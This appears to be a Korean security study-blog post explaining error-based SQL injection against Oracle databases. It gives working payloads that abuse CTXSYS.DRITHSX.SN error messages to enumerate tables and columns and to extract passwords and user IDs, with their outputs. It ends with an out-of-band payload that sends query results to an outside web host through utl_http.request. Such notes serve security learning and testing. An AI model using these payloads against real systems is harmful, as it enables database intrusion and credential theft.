Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

Error-based SQLi(Oracle DB) 본문

Study/WEB

Error-based SQLi(Oracle DB)

awakerrday 2020. 9. 1. 20:15

데이터베이스의 문법에 맞지 않는 쿼리문 입력 시 반환되는 에러 정보를 기반으로 공격하는 방법

 

ORACLE의 2가지 종류 Error 정보

- 단순 Error: 문법이 잘못되었다는 Error 정보

- 정보획득이 가능한 Error: 무엇이 잘못되었다는 Error 정보

예) varchar형 ~를 int형으로 변환할 수 없습니다.

 

정보획득을 위한 저장프로시저

UTL_INADDR.GET_HOST_NAME((서브쿼리))

UTL_INADDR.GET_HOST_ADDRESS((서브쿼리)) => [ver > 11g, SYS 권한 필요]

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((서브쿼리), user, user)

CTXSYS.DRITHSX.SN(user, (서브쿼리))

 

ROWNUM

DB에서 데이터를 추출할 때 행에 순번을 매겨 데이터를 추출해야함

DB 벤더 마다 순번 매기는 방법이 다름

 

ORACLE: SELECT ROWNUM (AS) rnum, [컬럼] FROM [테이블] WHERE rnum=1;

MS-SQL: SELECT TOP 1 FROM [테이블] WHERE [조건]

MySQL: SELECT [컬럼] FROM [테이블] WHERE [조건] LIMIT 0, 1;

 

- 테이블 개수 확인

AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(TABLE_NAME) FROM USER_TABLES))=1--

DRG-11701: thesaurus [유저 테이블 개수] does not exist

- 테이블 이름 확인

AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS RNUM FROM USER_TABLES) WHERE RNUM=60))=1--

DRG-117101: thersaurus [60번째 유저 테이블 이름] does not exist

- 컬럼 개수 확인

AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(COLUMN_NAME) FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='MEMBER'))=1--

DRG-117101: thersaurus [MEMBER 테이블 컬럼 개수] does not exist

- 컬럼 이름 확인

AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS RNUM FROM ALL_TAB_COLUMNS WEHRE TABLE_NAME='MEMBER') WHERE RNUM=3))=1--

DRG-117101: thersaurus [MEMBER 테이블 3번째 컬럼 이름] does not exist

- 데이터 개수 확인, 데이터 추출

AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(PASS) FROM MEMBER))=1--

DRG-117101: thersaurus [MEMBER 테이블 PASS 컬럼 개수] does not exis

AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT PASS FROM (SELECT PASS, ROWNUM AS RNUM FROM MEMBER) WHERE RNUM=1))=1--

DRG-117101: thersaurus [MEMBER 테이블 1번째 패스워드] does not exis

AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT ID FROM (SELECT ID, ROWNUM AS RNUM FROM MEMBER) WHERE RNUM=1))=1--

DRG-117101: thersaurus [MEMBER 테이블 1번째 아이디] does not exist

 

 

ps. OOB (Out of Band)

OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.

ex) and 1=(select utl_http.request('http://www.secuholic.com/'||(select user from dual)) from dual) from dual --

'Study > WEB' 카테고리의 다른 글

AJAX 요청 방법  (0) 2020.09.01
JSP 업로드 우회  (0) 2020.09.01
불충분한 인증/인가  (0) 2020.03.18
SQLi 기록  (0) 2019.07.11
XSS(Cross-Site Scripting) 종류 및 특징  (0) 2019.03.14
Comments